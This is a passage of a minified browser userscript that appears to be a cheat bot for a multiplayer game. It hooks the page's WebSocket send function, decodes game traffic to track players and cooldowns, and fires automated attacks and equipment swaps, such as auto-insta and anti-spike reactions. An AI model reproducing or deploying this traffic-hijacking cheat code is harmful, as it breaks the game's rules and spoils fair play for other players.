					, isSkull: null
					, primary: null
					, secondary: null
					, primaryCooldown: null
					, secondaryCooldown: null
					, lastTickHealth: 100
					, hitByThisTick: []
					, allyIDs: []
					, priXP: 0
					, secXP: 0
					, priXPLim: 3e3
					, secXPLim: 3e3
					, health: 100
				}
				, je = {
					wood: 100
					, stone: 100
					, food: 100
				};

			function P(e) {
				if(Ve.primary == Ve.weapon) {
					Ve.priXP += e, document.getElementById("priXP")
						.innerHTML = Ve.priXP;
					let t = 3e3;
					switch(global_functions_exporter.playerList[Ve.id].pVariant) {
					case 0:
						t = 3e3;
						break;
					case 1:
						t = 7e3;
						break;
					case 2:
						t = 12e3;
						break;
					case 3:
						t = 1 / 0
					}
					Ve.priXPLim = t, document.getElementById("priXPLim")
						.innerHTML = Ve.priXPLim
				}
				if(Ve.secondary == Ve.weapon) {
					Ve.secXP += e, document.getElementById("secXP")
						.innerHTML = Ve.secXP;
					let t = 3e3;
					switch(global_functions_exporter.playerList[Ve.id].sVariant) {
					case 0:
						t = 3e3;
						break;
					case 1:
						t = 7e3;
						break;
					case 2:
						t = 12e3;
						break;
					case 3:
						t = 1 / 0
					}
					Ve.secXPLim = t, document.getElementById("secXPLim")
						.innerHTML = Ve.secXPLim
				}
			}
			let Xe = null
				, Ue = null;
			setInterval(() => {
				Xe == Ve.primary && Ue == Ve.secondary || (Ve.primary != Xe && (Ve.priXP = 0), Ve.secondary != Ue && (Ve.secXP = 0)), Xe = Ve.primary, Ue = Ve.secondary;
				let e = Number(document.getElementById("stoneDisplay")
						.innerHTML)
					, t = Number(document.getElementById("foodDisplay")
						.innerHTML)
					, n = Number(document.getElementById("woodDisplay")
						.innerHTML);
				n > je.wood && (P(n - je.wood), je.wood = n), e > je.stone && (P(e - je.stone), je.stone = e), e > je.food && (P(t - je.food), je.food = t)
			}, 112.5);
			var O, D, L = document.createElement("div");
			L.innerHTML = '\n<div>\n   <table id="StatTbl" class="hackDisp" style="opacity: 1;display: block;width: 200px; position: absolute;top: 230px;left: 20px;color: #fff;background-color: rgba(0, 0, 0, 0.25);border-radius: 4px;-moz-border-radius: 4px;-webkit-border-radius: 4px;pointer-events: none;" border="0">\n      <tbody>\n         <tr style="height: 21px;">\n            <td style="height: 21px;color: rgba(255, 255, 255, 0.6);"> <button id="settingsBoxOpen" style="pointer-events: auto;background-color: black;color: white;border-color: black;border-radius: 4px;-moz-border-radius: 4px;-webkit-border-radius: 4px;">Settings</button> </td>\n            <td id="pingDisp" style="height: 21px;color: white;"> Ping: not connected</td>\n         </tr>\n         <tr style="height: 21px;">\n            <td style="height: 21px;color: rgba(255, 255, 255, 0.6);">Pri XP: </td>\n            <td style="height: 21px;"><span id="priXP">0</span> / <span id="priXPLim">not found</span></td>\n         </tr>\n         <tr style="height: 21px;">\n            <td style="height: 21px;color: rgba(255, 255, 255, 0.6);">Sec XP:</td>\n            <td style="height: 21px;"><span id="secXP">0</span> / <span id="secXPLim">not found</span></td>\n         </tr>\n         <tr style="height: 21px;">\n            <td style="height: 21px;color: rgba(255, 255, 255, 0.6);">Healer:</td>\n            <td style="height: 21px;"><span id="healDisplayer">none</span></td>\n         </tr>\n      </tbody>\n   </table>\n</div>\n</div>\n<style> .bot-settings{ padding: 10px; background-color: rgba(0, 0, 0, 0.2); border-radius: 3px; position: absolute; left: 255px; top: 20px; width: 137px; } .equip-btn{ pointer-events: auto; display: inline-block; width: 25px; height: 25px; border: 1px solid grey; background-size: contain; cursor: pointer; background-color: lightgray; } .equip-btn.selected{ background-color: lightgreen; } </style>\n', L.id = "dataDisplayer", document.getElementsByTagName("body")[0].appendChild(L), $(L)
				.animate({
					opacity: 1
				}), global_functions_exporter.myPlayer = {
					allyIDs: []
				}, setInterval(() => {
					global_functions_exporter.myPlayer = Ve
				}, 25);
			var _ = {};
			unsafeWindow.alert = (() => {}), unsafeWindow.onbeforeunload = (() => {}), unsafeWindow.confirm = (() => {}), unsafeWindow.prompt = (() => {});
			let Re = Date.now();
			WebSocket.prototype.oldSend = WebSocket.prototype.send, WebSocket.prototype.send = function (e) {
				I || (document.ws = this, this.addEventListener("close", function () {
					reloadModule.loadState = "Disconnected"
				}), I = this, this.addEventListener("message", function (e) {
					! function (e) {
						let t, r = msgpack.decode(new Uint8Array(e.data));
						r.length > 1 ? (t = [r[0], ...r[1]])[1] instanceof Array && (t = t) : t = r;
						let l = t[0];
						if(!t) return;
						if("io-init" === l) {
							document.getElementById("ot-sdk-btn-floating")
								.remove();
							let e = document.getElementById("gameCanvas");
							Ee = e.clientWidth, ke = e.clientHeight, $(window)
								.resize(function () {
									Ee = e.clientWidth, ke = e.clientHeight
								}), e.addEventListener("mousemove", e => {
									xe = e.clientX, Be = e.clientY, global_functions_exporter.mouseCoords = [Ve.x + xe - Ee / 2, Ve.y + Be - ke / 2]
								})
						}
						"1" == l && null == Ve.id && (Ve.id = t[1]);
						if("pp" == l) {
							Je = Date.now() - Re, $e.push(Je);
							let e = 0;
							for(var d = 0; d < $e.length; d++) e += $e[d];
							let t = $e.slice()
								.sort((e, t) => e - t);
							et = t[Math.ceil(t.length / 5)], $e.length > 50 && $e.shift(), document.getElementById("pingDisp")
								.innerHTML = `Ping: ${Je}`
						}
						"33" == l && (45 == Ve.hat ? (Ge || (Ge = Date.now()), S()) : (Ge = !1, S()));
						if("33" == l) {
							E = [], O = [];
							for(let e = 0; e < t[1].length / 13; e++) {
								let r = t[1].slice(13 * e, 13 * e + 13);
								if(r[0] == Ve.id) {
									Qe++, pe();
									try {
										Ve.prevMe = Ve
									} catch (e) {}
									Ve.x && (Ve.xvel = Ve.x - r[1], Ve.yvel = Ve.y - r[2], 0 != Ve.xvel && 0 != Ve.yvel && (Ve.prevXVel = Ve.xvel, Ve.prevYVel = Ve.yvel)), Ve.x = r[1], Ve.y = r[2], Ve.dir = r[3], Ve.object = r[4], Ve.weapon = r[5], Ve.weaponVariant = r[6], Ve.clan = r[7], Ve.isLeader = r[8], Ve.hat = r[9], Ve.accessory = r[10], Ve.isSkull = r[11];
									let e = n.find(e => e.id == Ve.weapon);
									Ve.weaponObject = e;
									try {
										0 == e.type ? (Ve.primary = e.id, Ve.primaryCooldown = e.speed, Ve.primaryObject = e) : e.isInvis || (Ve.secondary = e.id, Ve.secondaryCooldown = e.speed, Ve.secondaryObject = e)
									} catch (e) {}
									try {
										global_functions_exporter.playerList[r[0]].prevMe = global_functions_exporter.playerList[r[0]]
									} catch (e) {}
									try {
										global_functions_exporter.playerList[r[0]].x && (global_functions_exporter.playerList[r[0]].xvel = global_functions_exporter.playerList[r[0]].x - r[1], global_functions_exporter.playerList[r[0]].yvel = global_functions_exporter.playerList[r[0]].y - r[2], 0 != global_functions_exporter.playerList[r[0]].xvel && 0 != global_functions_exporter.playerList[r[0]].yvel && (global_functions_exporter.playerList[r[0]].prevXVel = global_functions_exporter.playerList[r[0]].xvel, global_functions_exporter.playerList[r[0]].prevYVel = global_functions_exporter.playerList[r[0]].yvel))
									} catch (e) {}(!global_functions_exporter.playerList[r[0]] || global_functions_exporter.playerList[r[0]] && !global_functions_exporter.playerList[r[0]].updateCd) && (() => {
										let e = Object.assign({}, global_functions_exporter.playerList[r[0]]);
										global_functions_exporter.playerList[r[0]] = {
											points: e.points
											, name: e.name
											, id: r[0]
											, x: r[1]
											, y: r[2]
											, dir: r[3]
											, object: r[4]
											, weapon: r[5]
											, weaponVariant: r[6]
											, clan: r[7]
											, isLeader: r[8]
											, hat: r[9]
											, accessory: r[10]
											, isSkull: r[11]
											, updateCd: (e, t) => {
												53 == e ? global_functions_exporter.playerList[r[0]].turretCd = 22 - tt : "__proto__" == e || "length" == e || (e < 9 ? global_functions_exporter.playerList[r[0]].pCd = global_functions_exporter.playerList[r[0]].primaryObject.cd - tt : global_functions_exporter.playerList[r[0]].sCd = global_functions_exporter.playerList[r[0]].secondaryObject.cd - tt, global_functions_exporter.playerList[r[0]].weaponObject.isMelee && (global_functions_exporter.playerList[r[0]].hitThisTick = !0), global_functions_exporter.playerList[r[0]].weaponObject.isMelee || (global_functions_exporter.playerList[r[0]].shotThisTick = !0))
											}
										}
									})(), global_functions_exporter.playerList[r[0]].id = r[0], global_functions_exporter.playerList[r[0]].x = r[1], global_functions_exporter.playerList[r[0]].y = r[2], global_functions_exporter.playerList[r[0]].dir = r[3], global_functions_exporter.playerList[r[0]].object = r[4], global_functions_exporter.playerList[r[0]].weapon = r[5], global_functions_exporter.playerList[r[0]].weaponVariant = r[6], global_functions_exporter.playerList[r[0]].clan = r[7], global_functions_exporter.playerList[r[0]].isLeader = r[8], global_functions_exporter.playerList[r[0]].hat = r[9], global_functions_exporter.playerList[r[0]].accessory = r[10], global_functions_exporter.playerList[r[0]].isSkull = r[11], global_functions_exporter.playerList[r[0]].weaponObject = e, !global_functions_exporter.playerList[r[0]].pCd && (global_functions_exporter.playerList[r[0]].pCd = -1), !global_functions_exporter.playerList[r[0]].sCd && (global_functions_exporter.playerList[r[0]].sCd = -1), !global_functions_exporter.playerList[r[0]].turretCd && (global_functions_exporter.playerList[r[0]].turretCd = -1), global_functions_exporter.playerList[r[0]].turretCd--, Date.now() - global_functions_exporter.playerList[r[0]].lastActive > 2e4 && (global_functions_exporter.playerList[r[0]].shameCount = 0), Date.now() - global_functions_exporter.playerList[r[0]].lastActive > 1e3 && (global_functions_exporter.playerList[r[0]].pCd = -1, global_functions_exporter.playerList[r[0]].sCd = -1), global_functions_exporter.playerList[r[0]].lastActive = Date.now();
									try {
										0 == e.type ? (global_functions_exporter.playerList[r[0]].primary = e.id, global_functions_exporter.playerList[r[0]].primaryCooldown = e.speed, global_functions_exporter.playerList[r[0]].primaryObject = e) : e.isInvis || (global_functions_exporter.playerList[r[0]].secondary = e.id, global_functions_exporter.playerList[r[0]].secondaryCooldown = e.speed, global_functions_exporter.playerList[r[0]].secondaryObject = e)
									} catch (e) {}
									0 == global_functions_exporter.playerList[r[0]].weaponObject.type ? (global_functions_exporter.playerList[r[0]].pVariant = global_functions_exporter.playerList[r[0]].weaponVariant, global_functions_exporter.playerList[r[0]].primary !== global_functions_exporter.playerList[r[0]].weapon ? (global_functions_exporter.playerList[r[0]].pCd = -1, global_functions_exporter.playerList[r[0]].primary && global_functions_exporter.playerList[r[0]][global_functions_exporter.playerList[r[0]].primary].age <= global_functions_exporter.playerList[r[0]].secondaryObject.age && (4 != global_functions_exporter.playerList[r[0]].weapon && 5 != global_functions_exporter.playerList[r[0]].weapon || (global_functions_exporter.playerList[r[0]].secondary = 15))) : global_functions_exporter.playerList[r[0]].pCd--, null != global_functions_exporter.playerList[r[0]].primary || null != global_functions_exporter.playerList[r[0]].secondary || 4 != global_functions_exporter.playerList[r[0]].weapon && 5 != global_functions_exporter.playerList[r[0]].weapon ? 0 == global_functions_exporter.playerList[r[0]].weapon && (global_functions_exporter.playerList[r[0]].secondary = null) : global_functions_exporter.playerList[r[0]].secondary = 15, global_functions_exporter.playerList[r[0]].primary = global_functions_exporter.playerList[r[0]].weapon) : 1 == global_functions_exporter.playerList[r[0]].weaponObject.type && (global_functions_exporter.playerList[r[0]].sVariant = global_functions_exporter.playerList[r[0]].weaponVariant, global_functions_exporter.playerList[r[0]].secondary !== global_functions_exporter.playerList[r[0]].weapon ? global_functions_exporter.playerList[r[0]].sCd = -1 : global_functions_exporter.playerList[r[0]].sCd--, global_functions_exporter.playerList[r[0]].secondary = global_functions_exporter.playerList[r[0]].weapon);
									let t, l = o(global_functions_exporter.playerList[r[0]].prevMe ? global_functions_exporter.playerList[r[0]].prevMe : global_functions_exporter.playerList[r[0]], 0 != global_functions_exporter.playerList[r[0]].xvel || 0 != global_functions_exporter.playerList[r[0]].yvel ? Math.atan2(global_functions_exporter.playerList[r[0]].yvel, global_functions_exporter.playerList[r[0]].xvel) : null, global_functions_exporter.playerList[r[0]].weapon, global_functions_exporter.playerList[r[0]].hat, global_functions_exporter.playerList[r[0]].accessory, global_functions_exporter.playerList[r[0]].object, global_functions_exporter.playerList[r[0]].shotThisTick || global_functions_exporter.playerList[r[0]].hitThisTick);
									global_functions_exporter.playerList[r[0]].sxvel = l[2], global_functions_exporter.playerList[r[0]].syvel = l[3], delete global_functions_exporter.playerList[r[0]].gpiha, Ve.hitByThisTick = [], yt.forEach(e => {
											let t, n = void 0
												, r = e.slice(1, e.length)
												, i = 1 == r[5] ? r[0] : r[0] - 70 * Math.cos(r[2])
												, o = 1 == r[5] ? r[1] : r[1] - 70 * Math.sin(r[2])
												, a = Math.atan2(o - Ve.y, i - Ve.x);
											if(Y(a = te(a), r[2], .15) && (r.push(Date.now()), ee.shift(), ee[ee.length] = r, 0 == r[5] || 5 == r[5] || 2 == r[5] || 1 == r[5])) {
												let e = !1
													, t = !1
													, n = !1
													, r = !1;
												for(let i = 19; i < ee.length; i++)
													if(ee[i] && ee[i][ee[i].length - 1] >= Date.now() - 300) switch(ee[i][5]) {
													case 0:
														e = !0;
														break;
													case 1:
														t = !0;
														break;
													case 2:
														n = !0;
														break;
													case 5:
														r = !0
													}
												if(e && (r || t)) {
													At = !0;
													let e = setInterval(() => ce(p, null), 10);
													setTimeout(() => {
														clearInterval(e)
													}, 500)
												}
												if(e && n)
													if(console.log("bow and CB"), t) {
														console.log("turret, bow, and crossbow"), ae(["13c", [0, 6, 0, !0]]), ae(["13c", [0, 6, 0]]), At = !0;
														let e = setInterval(() => ce(p, null), 10);
														setTimeout(() => {
															clearInterval(e)
														}, 500)
													} else {
														At = !0;
														let e = setInterval(() => ce(p, null), 10);
														setTimeout(() => {
															clearInterval(e)
														}, 500), console.log("basic emp block");
														let t = Ve.hat
															, n = Ve.accessory
															, r = setInterval(() => storeEquip(6), 5);
														setTimeout(() => {
															clearInterval(r), setTimeout(() => {
																storeEquip(t), storeEquip(n, !0)
															}, 60)
														}, 500)
													}
											}
											if(1e3 == e[4] || 1200 == e[4] || 1400 == e[4] || 700 == e[4]) {
												switch(e[6]) {
												case 0:
													t = 9;
													break;
												case 1:
													t = 53;
													break;
												case 2:
													t = 12;
													break;
												case 3:
													t = 13;
													break;
												case 5:
													t = 15
												}
												let r = 53 == t ? 1 : 999999;
												Object.values(global_functions_exporter.playerList)
													.forEach(i => {
														if(i.weapon == t || 53 == t && 53 == i.hat) {
															let o = Math.hypot(i.x - (53 == t ? e[1] : e[1] - 70 * Math.cos(e[3])), i.y - (53 == t ? e[2] : e[2] - 70 * Math.sin(e[3])));
															o < 300 && o < r && (n = i, r = o)
														}
													}), n && (n.updateCd(t), n.id != Ve.id && U(Ve, n) <= 300 && Y(n.dir, W(n, Ve), 1.134) && Ve.hitByThisTick.push(n))
											}
										}), yt = [], at || Ce || !document.getElementById("bioHats")
										.checked || (C = 11, k = Ve.y < 2400 ? 15 : Ve.y > 6850 && Ve.y < 7550 ? 31 : 12), De && a(), Se && s(), It.forEach(e => {
											try {
												X()
											} catch (e) {
												console.error(e)
											}
											let t = global_functions_exporter.playerList[e[1]]
												, r = n.find(e => e.id === t.weapon)
												, i = !!r && r.isMelee;
											i && (3 == t.weaponVariant || 21 == t.hat || H(Ve, t) < 250) && q(t)
												.forEach(e => {
													e.id == Ve.id && Ve.hitByThisTick.push(t)
												}), t.hitThisTick = !1;
											try {
												global_functions_exporter.playerList[e[1]].updateCd(e[3], e[2])
											} catch (e) {}
										}), It = [], Tt.forEach(e => {
											!(at && global_functions_exporter.playerList[Ve.id].pCd <= 0 && 11 == Ve.hat && 21 == Ve.accessory && document.getElementById("autoAntibull")
												.checked) || global_functions_exporter.playerList[M.id].primary != Fe && global_functions_exporter.playerList[M.id].primary != Ne || Ve.primary != Fe && Ve.primary != Ne || 0 != global_functions_exporter.playerList[M.id].pVariant ? at && document.getElementById("autoAntibull")
												.checked && global_functions_exporter.playerList[Ve.id].pCd <= 0 && (Ve.primary == Fe || Ve.primary == Ne) && global_functions_exporter.playerList[M.id] && global_functions_exporter.playerList[M.id].pVariant >= 2 && global_functions_exporter.playerList[M.id] && (global_functions_exporter.playerList[M.id].primary == Fe || global_functions_exporter.playerList[M.id].primary == Ne) && (storeEquip(18, !0), global_functions_exporter.playerList[Ve.id].turretCd <= 0 && 22 != M.hat ? storeEquip(53) : storeEquip(7), document.hit(!0), setTimeout(async () => {
													await Lt(1, Qe), document.hit(!1), c()
												}, 1)) : (i(), global_functions_exporter.playerList[Ve.id].turretCd <= 0 && E.some(e => e[0] == M.id) && 22 != global_functions_exporter.playerList[M.id].hat ? storeEquip(53) : storeEquip(7), storeEquip(18, !0), document.getElementById("autoqCheckbox")
													.checked && (clearInterval(mt), mt = !1), document.hit(!0), setTimeout(() => {
														document.getElementById("autoqCheckbox")
															.checked && (isFlagging = !0), document.hit(!1), !at || !document.getElementById("autoAntibull")
															.checked || global_functions_exporter.playerList[M.id].primary != Fe && global_functions_exporter.playerList[M.id].primary != Ne || Ve.primary != Fe && Ve.primary != Ne || 0 != global_functions_exporter.playerList[M.id].pVariant || (console.log("reinitialized ab"), k = 11, C = 21, c())
													}, 112.5));
											try {
												(!at || ot && !mt) && (isFlagging = !0)
											} catch (e) {}
											if(e[2] < 100 && e[2] > 0) {
												let n = Ve.previousHealth - e[2];
												25 == n && !ot && document.getElementById("autoemp")
													.checked && storeEquip(22), 8 == n && !ot && document.getElementById("wolfBlock")
													.checked && J(), t = e
											}
										}), Tt = [], t && j(t[2]), Ve.lastTickHealth = Ve.health
								} else if(r[7] != Ve.clan || null === r[7]) {
									E.push(r);
									try {
										global_functions_exporter.playerList[r[0]].prevMe = global_functions_exporter.playerList[r[0]]
									} catch (e) {}
									try {
										global_functions_exporter.playerList[r[0]].x && (global_functions_exporter.playerList[r[0]].xvel = global_functions_exporter.playerList[r[0]].x - r[1], global_functions_exporter.playerList[r[0]].yvel = global_functions_exporter.playerList[r[0]].y - r[2], 0 != global_functions_exporter.playerList[r[0]].xvel && 0 != global_functions_exporter.playerList[r[0]].yvel && (global_functions_exporter.playerList[r[0]].prevXVel = global_functions_exporter.playerList[r[0]].xvel, global_functions_exporter.playerList[r[0]].prevYVel = global_functions_exporter.playerList[r[0]].yvel))
									} catch (e) {}(!global_functions_exporter.playerList[r[0]] || global_functions_exporter.playerList[r[0]] && !global_functions_exporter.playerList[r[0]].updateCd) && (() => {
										let e = Object.assign({}, global_functions_exporter.playerList[r[0]]);
										global_functions_exporter.playerList[r[0]] = {
											points: e.points
											, name: e.name
											, id: r[0]
											, x: r[1]
											, y: r[2]
											, dir: r[3]
											, object: r[4]
											, weapon: r[5]
											, weaponVariant: r[6]
											, clan: r[7]
											, isLeader: r[8]
											, hat: r[9]
											, accessory: r[10]
											, isSkull: r[11]
											, updateCd: (e, t) => {
												53 == e ? global_functions_exporter.playerList[r[0]].turretCd = 22 - tt : "__proto__" == e || "length" == e || (e < 9 ? global_functions_exporter.playerList[r[0]].pCd = global_functions_exporter.playerList[r[0]].primaryObject.cd - tt : global_functions_exporter.playerList[r[0]].sCd = global_functions_exporter.playerList[r[0]].secondaryObject.cd - tt, global_functions_exporter.playerList[r[0]].weaponObject.isMelee && (global_functions_exporter.playerList[r[0]].hitThisTick = !0), global_functions_exporter.playerList[r[0]].weaponObject.isMelee || (global_functions_exporter.playerList[r[0]].shotThisTick = !0))
											}
										}
									})(), delete global_functions_exporter.playerList[r[0]].gpiha, global_functions_exporter.playerList[r[0]].id = r[0], global_functions_exporter.playerList[r[0]].x = r[1], global_functions_exporter.playerList[r[0]].y = r[2], global_functions_exporter.playerList[r[0]].dir = r[3], global_functions_exporter.playerList[r[0]].object = r[4], global_functions_exporter.playerList[r[0]].weapon = r[5], global_functions_exporter.playerList[r[0]].weaponVariant = r[6], global_functions_exporter.playerList[r[0]].clan = r[7], global_functions_exporter.playerList[r[0]].isLeader = r[8], global_functions_exporter.playerList[r[0]].hat = r[9], global_functions_exporter.playerList[r[0]].accessory = r[10], global_functions_exporter.playerList[r[0]].isSkull = r[11];
									let e = n.find(e => e.id == global_functions_exporter.playerList[r[0]].weapon);
									try {
										0 == e.type ? (global_functions_exporter.playerList[r[0]].primary = e.id, global_functions_exporter.playerList[r[0]].primaryCooldown = e.speed, global_functions_exporter.playerList[r[0]].primaryObject = e) : e.isInvis || (global_functions_exporter.playerList[r[0]].secondary = e.id, global_functions_exporter.playerList[r[0]].secondaryCooldown = e.speed, global_functions_exporter.playerList[r[0]].secondaryObject = e)
									} catch (e) {}
									global_functions_exporter.playerList[r[0]].weaponObject = e, !global_functions_exporter.playerList[r[0]].pCd && (global_functions_exporter.playerList[r[0]].pCd = -1), !global_functions_exporter.playerList[r[0]].sCd && (global_functions_exporter.playerList[r[0]].sCd = -1), !global_functions_exporter.playerList[r[0]].turretCd && (global_functions_exporter.playerList[r[0]].turretCd = -1), global_functions_exporter.playerList[r[0]].turretCd--, Date.now() - global_functions_exporter.playerList[r[0]].lastActive > 2e4 && (global_functions_exporter.playerList[r[0]].shameCount = 0), Date.now() - global_functions_exporter.playerList[r[0]].lastActive > 1e3 && (global_functions_exporter.playerList[r[0]].pCd = -1, global_functions_exporter.playerList[r[0]].sCd = -1), global_functions_exporter.playerList[r[0]].lastActive = Date.now(), global_functions_exporter.playerList[r[0]].weapon < 9 ? (global_functions_exporter.playerList[r[0]].pVariant = global_functions_exporter.playerList[r[0]].weaponVariant, global_functions_exporter.playerList[r[0]].primary !== global_functions_exporter.playerList[r[0]].weapon ? (global_functions_exporter.playerList[r[0]].pCd = -1, global_functions_exporter.playerList[r[0]].primary && global_functions_exporter.playerList[r[0]][global_functions_exporter.playerList[r[0]].primary].age <= global_functions_exporter.playerList[r[0]].secondaryObject.age && (4 != global_functions_exporter.playerList[r[0]].weapon && 5 != global_functions_exporter.playerList[r[0]].weapon || (global_functions_exporter.playerList[r[0]].secondary = 15))) : global_functions_exporter.playerList[r[0]].pCd--, null != global_functions_exporter.playerList[r[0]].primary || null != global_functions_exporter.playerList[r[0]].secondary || 4 != global_functions_exporter.playerList[r[0]].weapon && 5 != global_functions_exporter.playerList[r[0]].weapon ? 0 == global_functions_exporter.playerList[r[0]].weapon && (global_functions_exporter.playerList[r[0]].secondary = null) : global_functions_exporter.playerList[r[0]].secondary = 15, global_functions_exporter.playerList[r[0]].primary = global_functions_exporter.playerList[r[0]].weapon) : global_functions_exporter.playerList[r[0]].weapon >= 9 && (global_functions_exporter.playerList[r[0]].sVariant = global_functions_exporter.playerList[r[0]].weaponVariant, global_functions_exporter.playerList[r[0]].secondary !== global_functions_exporter.playerList[r[0]].weapon ? global_functions_exporter.playerList[r[0]].sCd = -1 : global_functions_exporter.playerList[r[0]].sCd--, global_functions_exporter.playerList[r[0]].secondary = global_functions_exporter.playerList[r[0]].weapon);
									let t = o(global_functions_exporter.playerList[r[0]].prevMe ? global_functions_exporter.playerList[r[0]].prevMe : global_functions_exporter.playerList[r[0]], 0 != global_functions_exporter.playerList[r[0]].xvel || 0 != global_functions_exporter.playerList[r[0]].yvel ? Math.atan2(global_functions_exporter.playerList[r[0]].yvel, global_functions_exporter.playerList[r[0]].xvel) : null, global_functions_exporter.playerList[r[0]].weapon, global_functions_exporter.playerList[r[0]].hat, global_functions_exporter.playerList[r[0]].accessory, global_functions_exporter.playerList[r[0]].object, global_functions_exporter.playerList[r[0]].shotThisTick || global_functions_exporter.playerList[r[0]].hitThisTick);
									global_functions_exporter.playerList[r[0]].sxvel = t[2], global_functions_exporter.playerList[r[0]].syvel = t[3], delete global_functions_exporter.playerList[r[0]].gpiha
								} else r[7] == Ve.clan && O.push(r)
							}
							X()
						}
						if("2" == l) {
							if(global_functions_exporter.playerList[t[1][1]]) global_functions_exporter.playerList[t[1][1]].socketId = t[1][0];
							else {
								t[1].push(t[2]);
								let e = t[1];
								!global_functions_exporter.playerList[t[1][1]] && (global_functions_exporter.playerList[t[1][1]] = {}), global_functions_exporter.playerList[t[1][1]].socketId = e[0], global_functions_exporter.playerList[t[1][1]].id = e[1], global_functions_exporter.playerList[t[1][1]].name = e[2], global_functions_exporter.playerList[t[1][1]].x = e[3], global_functions_exporter.playerList[t[1][1]].y = e[4], global_functions_exporter.playerList[t[1][1]].dir = e[5], global_functions_exporter.playerList[t[1][1]].health = e[6], console.log("here x3")
							}
							global_functions_exporter.playerList[t[1][1]].health = t[1][6], global_functions_exporter.playerList[t[1][1]].health = t[1][7]
						}
						if("sa" == l)
							for(let e = 0; e < t[1].length / 2; e++) !global_functions_exporter.playerList[t[1][2 * e]] && (() => {
								let n = t[1].slice(2 * e, 2 * e + 2);
								global_functions_exporter.playerList[n[0]] = {
									id: n[0]
									, name: n[1]
								}
							})();
						if("5" == l)
							for(let e = 0; e < t[1].length / 3; e++) global_functions_exporter.playerList[t[1][3 * e]] ? (global_functions_exporter.playerList[t[1][3 * e]].name = t[1][3 * e + 1], global_functions_exporter.playerList[t[1][3 * e]].points = t[1][3 * e + 2]) : (() => {
								let n = t[1].slice(3 * e, 3 * e + 3);
								global_functions_exporter.playerList[n[0]] = {
									id: n[0]
									, name: n[1]
									, points: n[2]
								}
							})();
						"12" == l && Object.keys(_)
							.includes(t[1].toString()) && (unsafeWindow.tr(_[t[1]][0], _[t[1]][1]), ++Ke > 6 && (unsafeWindow.cleartr(), Ke = 0), _[t[1]] = void 0, _ = Ze(_));
						if("6" == l) try {
							let e = t[1];
							var h = [e[1], e[2]];
							_[e[0]] = h
						} catch (e) {
							console.log("err:", e)
						}
						"ch" == l && t[1] == M.id && document.getElementById("mirrorChat")
							.checked && Ae(t[2]);
						E && (u = E.sort((e, t) => R(e, Ve) - R(t, Ve))[0]);
						!1, O && (D = O.sort((e, t) => R(e, Ve) - R(t, Ve))[0]);
						u && "33" == l ? Math.sqrt(Math.pow(Ve.y - u[2], 2) + Math.pow(Ve.x - u[1], 2)) < 800 ? global_functions_exporter.setZoom({
							code: "reset"
						}) : global_functions_exporter.setZoom({
							code: "large"
						}) : "33" == l && global_functions_exporter.setZoom({
							code: "large"
						});
						if(u) {
							M.x && (M.xvel = M.x - u[1], M.yvel = M.y - u[2], 0 != M.xvel && 0 != M.yvel && (M.prevXVel = M.xvel, M.prevYVel = M.yvel)), M.id = u[0], M.x = u[1], M.y = u[2], M.dir = u[3], M.object = u[4], M.weapon = u[5], M.weaponVariant = u[6], M.clan = u[7], M.isLeader = u[8], M.hat = u[9], M.accessory = u[10], M.isSkull = u[11];
							let e = n.find(e => e.id == M.weapon);
							M.weaponObject = e;
							try {
								0 == e.type ? M.primaryCooldown = e.speed : M.secondaryCooldown = e.speed
							} catch (e) {}
							if(unsafeWindow.crosshairTarget = M.id, f = Math.atan2(u[2] - Ve.y, u[1] - Ve.x), pt = !document.getElementById("riverDefense")
								.checked && Ve.y > 6850 && Ve.y < 7550, at) {
								if(document.getElementById("achatEnemy")
									.checked && Ae(document.getElementById("achatEnemyVal")
										.value), !Ce && 7 != Ve.hat && 53 != Ve.hat) {
									let e = global_functions_exporter.playerList[u[0]];
									if(ot)
										if(!document.getElementById("autoAntibull")
											.checked || e.primary != Fe && e.primary != Ne || Ve.primary != Fe && Ve.primary != Ne || 0 != e.pVariant)
											if(Ve.primary != Fe && Ve.primary != Ne || !(e.pVariant >= 2) || e.primary != Fe && e.primary != Ne) {
												if(document.getElementById("autoqCheckbox")
													.checked) {
													try {
														clearInterval(mt), mt = !1
													} catch (e) {}
													isFlagging = !0
												}
												document.getElementById("autosoldier")
													.checked && (pt || (document.getElementById("antiDagger")
														.checked && 7 == global_functions_exporter.playerList[M.id].primary ? M.weaponVariant > 0 ? (C = 6, C = 13) : (k = 6, C = global_functions_exporter.playerList[M.id].pVariant > 0 ? 13 : 21) : (k = 6, C = M.weaponVariant > 0 ? 13 : 21)))
											} else k = 26, C = 13;
									else k = 11, C = 21, document.getElementById("autoqCheckbox")
										.checked && (ae(["5", [p]]), mt || (mt = setInterval(function () {
											ae(["c", [1]]), ae(["c", [0]])
										}, 1)), isFlagging = !1);
									else Q(!0)
								}
							} else {
								Ye = !1;
								try {
									clearInterval(mt), mt = !1, isFlagging = !0
								} catch (e) {}
							}
							let t = Math.sqrt(Math.pow(Ve.y - u[2], 2) + Math.pow(Ve.x - u[1], 2));
							t < 700 && !at && 9 == Ve.weapon && !lt && document.getElementById("autoInsta")
								.checked && !We ? (lt = !0, Z(!0)) : lt = !1
						}
						at || (f = Ve.dir);
						if("6" == l) {
							let e = t[1]
								, n = !1;
							try {
								E.forEach(e => {
									let t = global_functions_exporter.playerList[e[0]];
									U(Ve, t) < 500 && (n = !0)
								})
							} catch (e) {
								n = !1
							}
							if(null !== t[1][t[1].length - 2] && e[e.length - 1].toString() != Ve.id) {
								var A = t[1]
									, m = []
									, y = 6
									, v = [];
								m.push(A);
								for(let e = 0; e < m[0].length / 8; e++) v.push(m[0][y]), y += 8;
								for(let e in v)
									if(16 == v[e] && (6 == v[e - 1] || 7 == v[e - 1] || 8 == v[e - 1] || 9 == v[e - 1]) && n && document.getElementById("antiBoostSpike")
										.checked) {
										for(let e = 0; e < 4; e++) {
											let t = Ve.dir + he(90 * e);
											ce(g, t)
										}
										for(let e = 0; e < 4; e++) {
											let t = Ve.dir + he(90 * e);
											ce(w, t)
										}
									}
							}
						}
						"11" == l && (Ve.shameCount = 0, global_functions_exporter.playerList[Ve.id] = 0, Ve.lastTickHealth = 100, je = {
							wood: 100
							, stone: 100
							, food: 100
						});
						if("h" == l && Object.keys(global_functions_exporter.playerList)
							.includes(t[1].toString())) {
							let e = global_functions_exporter.playerList[t[1]];
							e.health || (e.health = 100), e.shameCount || (e.shameCount = 0), e.shameCount < 0 && (e.shameCount = 0);
							let n = t[2]
								, r = e.health - n;
